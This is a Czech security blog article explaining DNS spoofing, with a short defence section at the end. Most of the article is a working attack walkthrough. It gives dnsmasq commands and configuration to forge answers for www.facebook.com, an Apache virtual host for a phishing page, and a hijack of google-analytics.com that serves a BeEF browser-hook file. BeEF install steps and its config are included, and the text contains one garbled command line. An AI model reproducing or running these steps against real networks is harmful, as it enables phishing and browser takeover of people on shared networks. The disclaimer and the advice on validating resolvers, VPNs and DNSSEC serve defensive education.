Zpět na seznam článků     Číst komentáře (9)     Verze pro tisk

Jak na vlastní DNS server

Autor: infinity :)   
9.8.2014

DNS spoofing může být použit mnoha možnými způsoby - bohužel žádný z nich není pro koncového uživatele dobrý.


Burp SuiteDNS (Domain Name System) je hierarchický systém doménových jmen, který je realizován servery DNS, které uchovávají informace o spravovaných doménách a k nim příslušející záznamy a protokolem stejného jména, kterým si vyměňují informace.

Původním úkolem DNS byl především překlad doménových jmen (která se lidem dobře pamatují) na číselné adresy (32bitový (IPv4) A záznam nebo 128bitový (IPv6) - AAAA záznam). Postupně se však DNS protokol rozrostl o další funkce, např. umožňující pro elektronickou poštu.

Protokol DNS vznikl v roce 1983, v roce 1987 byl aktualizován. Používá porty TCP/53 i UDP/53, je definován v RFC1035.


DNS servery (name servery)


DNS server může hrát vůči doméně (přesněji zóně, ale ve většině případů jsou tyto pojmy zaměnitelné) jednu ze tří rolí:

  • Primární server je ten, na němž data vznikají. Pokud je třeba provést v doméně změnu, musí se editovat data na jejím primárním serveru. Každá doména má právě jeden primární server.
  • Sekundární server je automatickou kopií primárního. Průběžně si aktualizuje data a slouží jednak jako záloha pro případ výpadku primárního serveru, jednak pro rozkládání zátěže u frekventovaných domén. Každá doména musí mít alespoň jeden sekundární server.
  • Pomocný (caching only) server slouží jako vyrovnávací paměť pro snížení zátěže celého systému. Uchovává si odpovědi a poskytuje je při opakování dotazů, dokud nevyprší jejich životnost.

Odpověď pocházející přímo od primárního či sekundárního serveru je autoritativní, čili je brána za správnou. Z hlediska věrohodnosti odpovědí není mezi primárním a sekundárním serverem rozdíl, oba jsou autoritativní. Uživatelé tak nemají jinou možnost než věřit v důvěryhodnost používaného DNS serveru, protože ve výchozím nastavení nejsou odpovědi nijak ověřeny a validovány.

V dnešním článku si ukážeme, jak je snadné zprovoznit vlastní DNS server, který vám umožní ručně editovat jednotlivé záznamy - což umožňuje blokovat určité domény, nebo předstírat, že Vaše doména je právě ta, kterou si uživatel chce zobrazit. Tento druh útoku se obecně označuje jako DNS forgery nebo DNS spoofing.

Upozornění: Informace obsažené v tomto článku mají pouze informativní charakter a nelze je v žádném případě vykládat jako poskytování rad, návodů a doporučení a nejsou základem pro jakékoliv rozhodování nebo činnost. Hlavním cílem je seznámit uživatele s tímto druhem útoku a možností obrany. Jakékoliv testování provádějte výhradně ve své lokální síti a se souhlasem všech připojených uživatelů.


DNS spoofing


DNS spoofing může být použit mnoha možnými způsoby - bohužel žádný z nich není pro koncového uživatele dobrý. Následující část popisuje nejběžnější použití, o kterých bylo v minulosti již hodně slyšet:

  • Nejčastěji se jedná o Man-In-The-Middle útok (s použitím programů dnsspoof a ettercap)
  • Kompromitace interního DNS serveru oběti (ve firemním prostředí)
  • Editace záznamů v lokálním hosts souboru oběti (často využíváno různým druhem malware)
  • Změna DNS serveru v nastavení routeru (v poslední době velmi aktuální téma)

My si dnes ukážeme, jak vytvořit vlastní DNS server, který přeposílá všechny požadavky na Google DNS, kromě těch, u kterých chceme falšovat odpovědi.


"Fake" DNS server


Začneme instalací Dnsmasq - jedná se o malý, snadno konfigurovatelný DNS a DHCP server, který je určen hlavně pro malé firemní a domácí sítě. Na některých systémech již může být předinstalovaný a spuštěny jako lokální DNS (kvůli cachování). Pokud ne, musíte jej stáhnout a nainstaloval. V prostředí Ubuntu/Debianu můžeme použít apt-get.

root@dns-spoofing:~# apt-get install dnsmasq-base

Po instalaci je potřeba vytvořit konfigurační soubor v umístění /etc/dnsmasq.conf, který si Dnsmasq automaticky načte při startu. Defaultně tento soubor vytvořený není a server tak běží s přednastavenou konfigurací.

Vytvoříme soubor dnsmasq.conf:

root@dns-spoofing:~#pico /etc/dnsmasq.conf

A uložíme následující konfiguraci:

no-dhcp-interface=
server=8.8.8.8

no-hosts
addn-hosts=/etc/dnsmasq.hosts

Tato konfigurace nastaví Dnsmasq tak, aby používal veřejný Google DNS server (IP adresa 8.8.8.8 nebo 8.8.4.4), pokud se záznam o požadované doméně nenachází v souboru /etc/dnsmasq.hosts.

Vytvoříme soubor dnsmasq.hosts:

root@dns-spoofing:~#pico /etc/dnsmasq.hosts

A uložíme následující konfiguraci:

192.168.1.100 www.facebook.com

Formátování je stejné, jako v případě souboru /etc/hosts. První je IP adresa serveru, odkud se načte obsah webu z domény, která je oddělená mezerou.


Testujeme náš DNS server

Dnsmasq spustíte následujícím příkazem:

dnsmasq --no-daemon --log-queries

Příkaz "--no-daemon" slouží jako debug mód, dnsmasq se jinak spustí jako proces na pozadí. A "--log-queries" nám bude vypisovat požadavky do konzole.

Předpokládejme, že IP adresa našeho DNS serveru je 192.168.1.13. Funkčnost si ověříme pomocí příkazu:

dig @192.168.1.13 +short www.facebook.com
192.168.1.100

Jak vidíme na výstupu, při zadání adresy www.facebook.com do prohlížeče se načte obsah z IP adresy 192.168.1.100, místo ze serverů Facebooku.

root@dns-spoofing:~# dnsmasq --no-daemon --log-queries
dnsmasq: started, version 2.63rc6 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: read /etc/dnsmasq.hosts - 1 addresses
dnsmasq: query[A] www.facebook.com from 192.168.1.5
dnsmasq: /etc/dnsmasq.hosts www.facebook.com is 192.168.1.100

Jakmile jste si jistí, že Váš DNS server odpovídá tak, jak chcete, jednoduše ho spustíte příkazem "dnsmasq" bez žádných argumentů. Poběží na pozadí a bude odpovídat všem, kdo se ho zeptají. K ukončení použijte příkaz "killall -9 dnsmasq".

DNS spoofing tak může být velmi jednoduše použit k vytvoření phishingových stránek. Jediné, co k tomu potřebujete, je další web server, který bude odpovídat na dotazovaný hostname. Toho docílíte instalací apache s konfigurací virtual host:

<VirtualHost *:80>
DocumentRoot "/srv/www/fakebook/public_html"
ServerName www.facebook.com
...
</VirtualHost>

Jakmile je Apache nakonfigurován tímto způsobem, obsah bude předán uživateli. Tento scénář samozřejmě funguje pouze pro HTTP. Pro HTTPS požadavky, nebo jiné SSL based protokoly tato metoda nebude fungovat, protože web server není schopen dodat platný, podepsaný CA certifikát. O tom, jak sniffovat HTTPS, si povíme někdy příště.

Protože nejsem zrovna velký příznivce Phishingu, zaměříme se na něco jiného. Už umíme nakonfigurovat DNS server tak, aby odpovídal na dotazy podle našich představ. Jak toho ale využít? Představme si situaci, kdy web developer z nějakého důvodu využívá externě hostované .js knihovny, například jQuery. Můžeme tak falšovat odpověď a uživateli se při návštěvě věrohodného HTTP webu zobrazí upravená knihovna, která následně zobrazí náš reklamní banner. Spousta malwarových kampaní byla založena na podobném principu a hackeři si tak mohli přijít na relativně slušné peníze z prokliků. V horším případě se na webu provede nějaký druh exploitu, nebo výzva na stažení aktualizace Javy/Flashe.


Hijacking Google Analytics


Když prostudujete zdrojový kód většiny webových aplikací, téměř vždy najdete Google Analytics, dokonce i zde na soomu:

var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-11844978-2']);
_gaq.push(['_setDomainName', 'soom.cz']);
_gaq.push(['_trackPageview']);

(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();

Jak si můžete všimnout, z domény "google-analytics.com" se načítá soubor "ga.js". Přidáním této domény do našeho DNS serveru si zajistíme velké procento úspěchu.

google-analytics.com/ga.js echo 127.0.0.1,www-google-analytics.l.google.com >
root@dns-spoofing:~# echo "192.168.1.100 google-analytics.com" > /etc/dnsmasq.hosts
root@dns-spoofing:~# killall -9 dnsmasq
root@dns-spoofing:~# dnsmasq --no-daemon --log-queries

Co ale spouštět z ga.js? V ideálním případě chceme zjistit co nejvíce informací o uživateli s možností následné exploitace a plného přístupu do jeho systému. K tomu nám nejlépe poslouží BeEF - The Browser Exploitation Framework.


Instalace BeEF

root@beef-server:~# apt-get install git
root@beef-server:~# git clone git://github.com/beefproject/beef.git
root@beef-server:~# cd beef/
root@beef-server:~# apt-get install bundler ruby build-essential libsqlite3-dev libssl-dev
root@beef-server:~# bundle install

Po instalaci je potřeba upravit config.yaml pro integraci s naším DNS serverem. Změníme následující řádky:

# HTTP server
host: "0.0.0.0"
port: "80"

# Hook
hook_file: "/ga.js"

# DNS
dns_host: "localhost"
dns_port: 53

# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin_UI extension
credentials:
user: "beef"
passwd: "beef"

Nyní máme nastavený DNS server tak, aby požadavky na doménu "google-analytics.com" směřoval na náš BeEF server, který vrací upravený ga.js soubor. Nic nám nebrání BeEF spustit, ovládat prohlížeč uživatele a získat administrátorský přístup do jeho počítače.


Jak se bránit?


Vytvoření "fake" DNS serveru je velmi jednoduché. Kdokoliv se může za pomoci slovníkového útoku dostat do konfigurace veřejného Wi-Fi routeru a změnit nastavení DNS serveru. Další hřebík do rakve sdíleným Wi-Fi v restauracích apod. S rostoucím počtem exploitů na domácí routery, by měl každý jednou za čas kontrolovat jeho nastavení. Zejména DNS serveru.

Pokud nedůvěřujete ani svému ISP, doporučuji nastavit jeden z těchto DNS serverů:

Ověřit, zda Vaše DNS dotazy směřují přímo ke zvolenému serveru můžete ověřit DNS leak testem.


Update: komentář k obraně před DNS spoofingem od uživatele Ondřej Surý:

Jediná obrana proti spoofingu je:

  • 1a) pustit si lokální resolver, který musí validovat, aby byl aspoň trochu odolný
  • 1b) nebo ještě lépe: mít DNS server přístupný skrz VPNku v síti, kde víte, že nikdo nespoofuje
  • 2) tlačit na všechny, aby podepsali svoje domény, aby se spoofing dal odhalit jednoduše

Pro větší pocit bezpečí se nespoléhejte na DHCP, ale nastavte si tyto adresy lokálně v Applications / System Tools / Preferences / Network Connections.

V Android tabletu a telefonu používám pro stejný účel aplikaci Static DNS for WiFi



Prosím, vyjádřete se v komentářích, zda budete mít v budoucnu zájem o podobné články, případně o kurz v Hacker Academy, kde je prostor probrat zvolené téma více do hloubky a zároveň si představit více praktických ukázek. Díky, infinity :)

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.12/51

1  2  3  4  5    
(známkování jako ve škole)